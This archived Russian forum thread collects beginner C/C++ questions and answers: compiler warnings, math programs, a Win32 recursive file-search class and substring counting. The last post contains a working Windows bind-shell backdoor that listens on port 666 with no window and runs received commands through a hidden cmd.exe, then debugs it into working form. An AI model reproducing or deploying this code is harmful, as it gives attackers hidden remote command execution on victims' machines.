[ C / C++ ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    tim-oleksii, спасибо за пояснение.

    Кстати, подскажите еще по такому вопросу:
    Пишу код вида:
    FindDir("F:\\demod\\","*");
    Компилятор пишет:
    warning: deprecated conversion from string constant to 'char*'|

    В чем проблема и как надо?

    функция начинается так:
    void FindDir(char* path,char* mask)
     
    #7201 Flisk, 15 Apr 2012
    Last edited by a moderator: 15 Apr 2012
  2. GRRRL Power

    GRRRL Power Elder - Старейшина

    Joined:
    13 Jul 2010
    Messages:
    823
    Likes Received:
    185
    Reputations:
    84
    А ты напиши так:
    Code:
    void FindDir(const char* path, const char* mask)
    Так как функция не меняет значения переменных path и mask, а только считывает их, правильно объявить их const, тогда и ошибка исчезнет, если будешь явно строку передавать в такую функцию.
     
    1 person likes this.
  3. @bruZZi

    @bruZZi New Member

    Joined:
    29 Jun 2009
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Подскажите, где можно найти класс BigDecimal для C++ с перегруженными сложением, умножением, вычитанием, делением...

    google молчит, точнее выдает библиотеку для java.
    Но надо для плюсов
     
  4. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    iomanip
     
  5. \\ChaOs//

    \\ChaOs// Member

    Joined:
    26 Feb 2009
    Messages:
    102
    Likes Received:
    26
    Reputations:
    5
    GMP

    Здесь содержатся средства для форматированного вывода
     
  6. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Кто нибудь знает как изменить название программы? что бы не имя файла было в названии..
     
  7. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1

    Консоль?
    system("title ProgrammName");
     
  8. greki_hoy

    greki_hoy Member

    Joined:
    4 Mar 2010
    Messages:
    326
    Likes Received:
    57
    Reputations:
    41
    вот накалякал от скуки на базе одного исходника
    с инета можете посмотреть как сделано класс
    имеет два паблик метода DoSmth и What
    первый для получения найденных файлов его
    надо обязательно переопределить и второй
    необязательный пригодится если надо логировать
    ошибки во время поиска

    кстати есть еще Stop его можно вызвать из
    другого потока или из What для остановки

    Code:
    #include <windows.h>
    #include <stdio.h>
    #include <tchar.h>
    
    struct ISearchFiles
    {
    	VOID Search(PCTSTR Path, 
    		PCTSTR Extension, 
    		BOOL bInnerFolders, 
    		DWORD FileAttributes);
    	VOID Stop()
    	{
    		bDone = TRUE;
    	}
    	enum {FILE_ATTRIBUTE_ALL};
    protected:
    	enum BadFunc {FIND_FIRST_FILE, FIND_NEXT_FILE};
    	virtual VOID DoSmth(PCTSTR FileName) = 0;
    	virtual VOID What(BadFunc Func, DWORD Error, PCTSTR FileName)
    	{}
    private:
    	TCHAR Buf[MAX_PATH * 2];
    	volatile BOOL bDone;
    	VOID DoSearch(PTSTR FileName, 
    		PCTSTR Extension, 
    		BOOL bInnerFolders, 
    		DWORD FileAttributes);
    	VOID Check(DWORD SuccessError, BadFunc Func);
    };
    
    VOID ISearchFiles::Search(PCTSTR Path, 
    						  PCTSTR Extension, 
    						  BOOL bInnerFolders = TRUE,
    						  DWORD FileAttributes = FILE_ATTRIBUTE_ALL)
    {
    	bDone = FALSE;
    	lstrcpyn(Buf, Path, _countof(Buf) - _countof("\\*.*"));
    	return DoSearch(Buf, Extension, bInnerFolders, FileAttributes);
    }
    
    VOID ISearchFiles::Check(DWORD SuccessError, BadFunc Func)
    {
    	DWORD LastError = GetLastError();
    	if (SuccessError != LastError)
    	{
    		if (FIND_NEXT_FILE != Func)
    			What(Func, LastError, Buf);
    		else
    			What(Func, LastError, TEXT(""));
    	}
    }
    
    VOID ISearchFiles::DoSearch(PTSTR FileName, 
    							LPCTSTR Extension, 
    							BOOL bInnerFolders, 
    							DWORD FileAttributes)
    {
    	HANDLE hSearch;
    	WIN32_FIND_DATA wfd;
    
    	if (bDone) return;
    
    	PTSTR Break = FileName + lstrlen(FileName);
    	lstrcat(Break, TEXT("\\*.*"));
    
    	++Break;
    
    	// сначало поиск внутри вложенных папках ...
    	if(bInnerFolders)
    	{
    		// если папки существуют, то делаем поиск
    
    		hSearch = FindFirstFile(FileName, &wfd);
    		if (INVALID_HANDLE_VALUE != hSearch)
    		{
    			do
    			{
    				if (bDone)
    				{
    					FindClose(hSearch);
    					return;
    				}
    
    				// в каждой папке есть две папки с именами "." и ".."
    				// и эти папки мы не трогаем
    
    				if ('.' == *wfd.cFileName) 
    					continue;
    
    				if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 
    				{
    					lstrcpy(Break, wfd.cFileName);
    					DoSearch(FileName, Extension, bInnerFolders, FileAttributes);
    				}
    			}
    			while (FindNextFile(hSearch, &wfd));
    
    			Check(ERROR_NO_MORE_FILES, FIND_NEXT_FILE);
    			FindClose(hSearch);
    		}
    		else
    			return Check(ERROR_FILE_NOT_FOUND, FIND_FIRST_FILE); 
    	}
    
    	if (bDone) return;
    
    	lstrcpyn(Break, Extension, _countof(Buf) - (Break - FileName));
    
    	hSearch = FindFirstFile(FileName, &wfd);
    	if (INVALID_HANDLE_VALUE != hSearch)
    	{
    		do
    		{
    			if (bDone)
    			{
    				FindClose(hSearch);
    				return;
    			}
    
    			if (!(FILE_ATTRIBUTE_DIRECTORY & wfd.dwFileAttributes))
    			{
    				lstrcpy(Break, wfd.cFileName);
    				if (FILE_ATTRIBUTE_ALL != FileAttributes)
    				{
    					if (FileAttributes & wfd.dwFileAttributes)
    						DoSmth(FileName);
    				}
    				else
    					DoSmth(FileName);
    			}
    		}
    		while (FindNextFile(hSearch, &wfd)); 
    
    		Check(ERROR_NO_MORE_FILES, FIND_NEXT_FILE);
    		FindClose(hSearch);
    	}
    	else
    		Check(ERROR_FILE_NOT_FOUND, FIND_FIRST_FILE);
    }
    
    // example
    struct SearchFiles : ISearchFiles
    {
    	VOID DoSmth(PCTSTR FileName)
    	{
    		_tprintf(_T("%s\n"), FileName);
    	}
    
    	VOID What(BadFunc Func, DWORD Error, PCTSTR FileName)
    	{
    		_tprintf(_T("ERROR: %s ***Func: %s with code %x***\n"), FileName, 
    			FIND_NEXT_FILE != Func ? _T("FindFirstFile") : _T("FindNextFile"), Error);
    	}
    };
    
    int main()
    {
    	SearchFiles e;
    	e.Search(TEXT("c:"), TEXT("*.txt")); 
    	e.Search(TEXT("c:\\windows"), TEXT("*.exe"), TRUE, FILE_ATTRIBUTE_HIDDEN);
    	e.Search(TEXT("c:"), _T("*.*"), FALSE);
    }
    
     
    #7208 greki_hoy, 16 Apr 2012
    Last edited: 16 Apr 2012
  9. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    помогите плз)
    выдает 13,14,15 строку(
    #include <iostream>
    #include <conio.h>
    #include <math.h>

    using namespace std;

    int main()
    {
    float a,b,c,x,y,z;
    cout<< "vvedite a,b,c\n"<< endl;
    cin>>a>>b>>c;
    float ygol1,ygol2,ygol3;
    x=(b*b + c*c – a*a)/(2*b*c);
    y=(a*a + c*c – b*b)/(2*a*c);
    z=(a*a + b*b – c*c)/(2*a*b);
    ygol1 = acos (x);
    ygol2 = acos(y);
    ygol3 =acos(z);
    cout<< "\n ygol1 = "<< ygol1/M_PI*180;
    cout<< "\n ygol2 = "<< ygol2/M_PI*180;
    cout<< "\n ygol3 = "<< ygol3/M_PI*180;
    return 0;
    }
    ошибка error stray '226' in program
     
  10. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0

    Code:
    
    #include <iostream>
    #include <conio.h>
    #include <math.h>
    
     using namespace std;
    
     int main()
     {
     float a,b,c,x,y,z;
     cout<< "vvedite a,b,c\n"<< endl;
     cin >> a;
     cin >> b;
     cin >> c;
     float ygol1,ygol2,ygol3;
     x = ((b*b) + (c*c) - (a*a))/(2*b*c);
     
     y = ((a*a) + (c*c) - (b*b))/(2*a*c);
     
     z = ((a*a) + (b*b) - (c*c))/(2*a*b);
    
     ygol1 = acos (x);
     ygol2 = acos (y);
     ygol3 = acos (z);
     cout<< "\n ygol1 = "<< ygol1/M_PI*180;
     cout<< "\n ygol2 = "<< ygol2/M_PI*180;
     cout<< "\n ygol3 = "<< ygol3/M_PI*180;
     
     getch();
     return 0;
     }
    
    
    Переписал формулу x,y,z и заработало)
     
    1 person likes this.
  11. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    спс) заработало)
    помогите плз еще)
    #include <conio.h>
    #include <math.h>

    int main ()
    {
    float a,b,c;
    а =(13.72 + cos(60*M_PI/180))*(7.58 + sin(60*M_PI/180))/M_LN10;
    b = sqrt (17.51/cos(30*M_PI/180));
    c = a - b;
    cout<<"c ="<<c;
    return 0;
    }

    выдает 7 и 10
     
    #7211 KNOT, 16 Apr 2012
    Last edited: 16 Apr 2012
  12. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Code:
    
    #include <iostream>
    #include <conio.h>
    #include <math.h>
    using namespace std;
    
     int main ()
     {
     float a,b,c;
    
     a = (13.72 + cos(60*M_PI / 180))*(7.58 + sin(60*M_PI/180)) / M_LN10;
    
     b = sqrt (17.51/cos(30*M_PI/180));
    
     c = a - b;
    
     cout << "c =" << c; 
    
     getch();
    
     return 0;
     }
    
    
     
  13. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    все равно 1,4 и 16 выдает ошибки( компилятор Code::Blocks 10.05
     
  14. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Как и WxDEC++ так и CODE::BLOCKS компилируют нормально...
     
  15. weInc

    weInc New Member

    Joined:
    29 Mar 2012
    Messages:
    40
    Likes Received:
    3
    Reputations:
    0
    Здравствуйте, помогите найти кол-во слов в тексте, не совсем слов а вводится текст, потом слово, далее идет поиск в тексте этого слова .. и нужно подсчитать сколько повторяется это слово в тексте ... вообщем его количество в тексте...

    Code:
    
    #include <iostream>
    #include <windows.h>
    #include <iomanip>
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        string text;
        string search;
        int F=0;
        
        system("echo Введите текст проивзольной длинны");
        cout << "Text:> ";
        getline(cin,text);
        
        for(int i=0;i<80;i++){ cout << "-"; }
        system("echo Введите слово для поиска");
        cout << "Search:> ";
        cin >> search;
        
        for(int i=0;i<text.length();i++){
            
            if(text.find(search,1)){
                F = F+1;
            }  
        }
        
        for(int i=0;i<80;i++){ cout << "-"; }
        
        system("echo Слов в тексте ");
        cout << "Result: " << F;
        
        cin.get();
        cin.get();
        return 0;
    }
        
    
    Я немогу понять как делать условие по find, подскажите пожалуйста ... если find не подходит подскажите другую функцию..
     
  16. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    Все подходит - сам поиск делать так:
    Code:
    string reg = "kjsdhcdjc kjshdckjsdc kjhgsdkjch kkjh sdkjchskjdc kjh sdkjchksdjchk";
    
    int next = 0;
    int counter = 0;
    string word;
    cout<<"Search your word:\n";
    cin>>word;
    do
    {
    if(reg.find(word,next) != string::npos)
    {
    	next = reg.find(word,next) + word.length();
    	counter++;
    }
    else break;
    }while(true);
    cout<<"\n Counter:"<< counter<<"\n";
    
    Правда тут он находит и обозначает как слова, комбинацию букв, то есть есть допустим предложение:
    Твердолобый Ваня ударился головой об стену. Ещё долгое время его лоб сильно чесался.

    Задаешь на поиск слова лоб, а он находит их два - в слове "Твердолобый" и просто слово лоб. Для того, что бы ввести различие - достаточно прописать правила, например: ты вводишь слово лоб, а по бокам добавляешь пробелы. Но тут может случиться, что к слову "пристыкованны" не пробелы, а например точки или запятые. Нужно тогдпа прописывать правила для такого случая, ну или самое простое - заменить на время поиска все знаки препинания на пробелы:)
     
    #7216 Spot, 16 Apr 2012
    Last edited: 16 Apr 2012
  17. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    #include <iostream>
    #include <conio.h>
    #include <math.h>

    using namespace std;

    int main()
    {
    float a,b,c,p,S;
    cout<< "vvedite a,b,c\n"<< endl;
    p= a/2+b+c;
    S=sqrt(p*(p-a)*(p-b)*(p-c))
    return 0;
    }
    выдает в 13 строке ошибку(
     
  18. Spot

    Spot Elder - Старейшина

    Joined:
    1 Mar 2007
    Messages:
    461
    Likes Received:
    38
    Reputations:
    1
    S=sqrt(p*(p-a)*(p-b)*(p-c));
    Ты забыл точку с запятой. Кстати - а как ты считываешь числа? У тебя ведь только функция вывода строки на экран cout, а для считка ты не применил cin.
     
    1 person likes this.
  19. KNOT

    KNOT Member

    Joined:
    7 Apr 2010
    Messages:
    107
    Likes Received:
    26
    Reputations:
    3
    спс,теперь норм все. спс,что сказал про cin
     
  20. bq1foe

    bq1foe Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    38
    Likes Received:
    8
    Reputations:
    0
    Code:
    #include <winsock2.h> 
    #define MY_PORT    666
    DWORD WINAPI SexToClient(LPVOID client_socket);
    int __stdcall WinMain(HINSTANCE hInstance,		
    					  HINSTANCE hPrevInstance,		
    					  LPSTR lpCmdLine,			
    					  int nCmdShow 			
    					  )
      {
        char buff[2048];
        WSAStartup(0x0202,(WSADATA *) &buff[0]);
        SOCKET mysocket;
        mysocket=socket(AF_INET,SOCK_STREAM,0);
        sockaddr_in local_addr;
        local_addr.sin_family=AF_INET;
        local_addr.sin_port=htons(MY_PORT);
        local_addr.sin_addr.s_addr=0;
        bind(mysocket,(sockaddr *) &local_addr,sizeof(local_addr));
        listen(mysocket, 0x100);
        SOCKET client_socket;    
        sockaddr_in client_addr;    
        int client_addr_size=sizeof(client_addr);
        while((client_socket=accept(mysocket, (sockaddr *)
                &client_addr, &client_addr_size)))
        {
          DWORD thID;
          CreateThread(NULL,NULL,SexToClient,
                  &client_socket,NULL,&thID);
        }
        return 0;
      }
      DWORD WINAPI SexToClient(LPVOID client_socket)
      {
        SOCKET my_sock;
        my_sock=((SOCKET *) client_socket)[0];
        char buff[40*2048];
        #define sHELLO "Connected.\r\n"
        send(my_sock,sHELLO,sizeof(sHELLO),0);
    	int bytes_recv;
    	STARTUPINFOA sti; // структура
    	PROCESS_INFORMATION pi;
    	ZeroMemory(&sti,sizeof(STARTUPINFO)); // обнулить
    	ZeroMemory(&pi, sizeof(pi) );
    	sti.cb=sizeof(sti); // указать размер
    	sti.dwFlags = 0x00002000;
    	sti.wShowWindow=SW_HIDE;
        while((bytes_recv=recv(my_sock,&buff[0],sizeof(buff),0))&& (bytes_recv != SOCKET_ERROR))
    	{       
    		  CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi);
    	      TerminateProcess(pi.hProcess, 0);
    		  send(my_sock,"Done! \n",bytes_recv,0);
    	}
        closesocket(my_sock);
        return 0;
      }
    
    Ошибок не выдает, когда посылаю команду, отвечает "Done!" , а команда не выполняется.
    Если CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi); заменить на system(&buff[0]); и соответственно удалить:
    Code:
     
    	STARTUPINFOA sti; // структура
    	PROCESS_INFORMATION pi;
    	ZeroMemory(&sti,sizeof(STARTUPINFO)); // обнулить
    	ZeroMemory(&pi, sizeof(pi) );
    	sti.cb=sizeof(sti); // указать размер
    	sti.dwFlags = 0x00002000;
    	sti.wShowWindow=SW_HIDE;
    
    все начинает работать
    -----------------------------------------------------------------------------
    Проблему решил.
    Code:
     
    CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi); 
    
    заменил на
    Code:
     
    CreateProcessA("C:\\Windows\\System32\\cmd.exe",&buff[0],0,0,1,0,0,0,&sti,&pi);
    
    А в buff передаю в начале строки /C (сначала /K писал и плодил тоны cmd.exe в диспечере).
    Еще пришлось удалить и
    Code:
    TerminateProcess(pi.hProcess, 0);
    Правда не понял, чем он не прижился. Буду рад если кто подскажет.
     
    #7220 bq1foe, 16 Apr 2012
    Last edited: 17 Apr 2012
Thread Status:
Not open for further replies.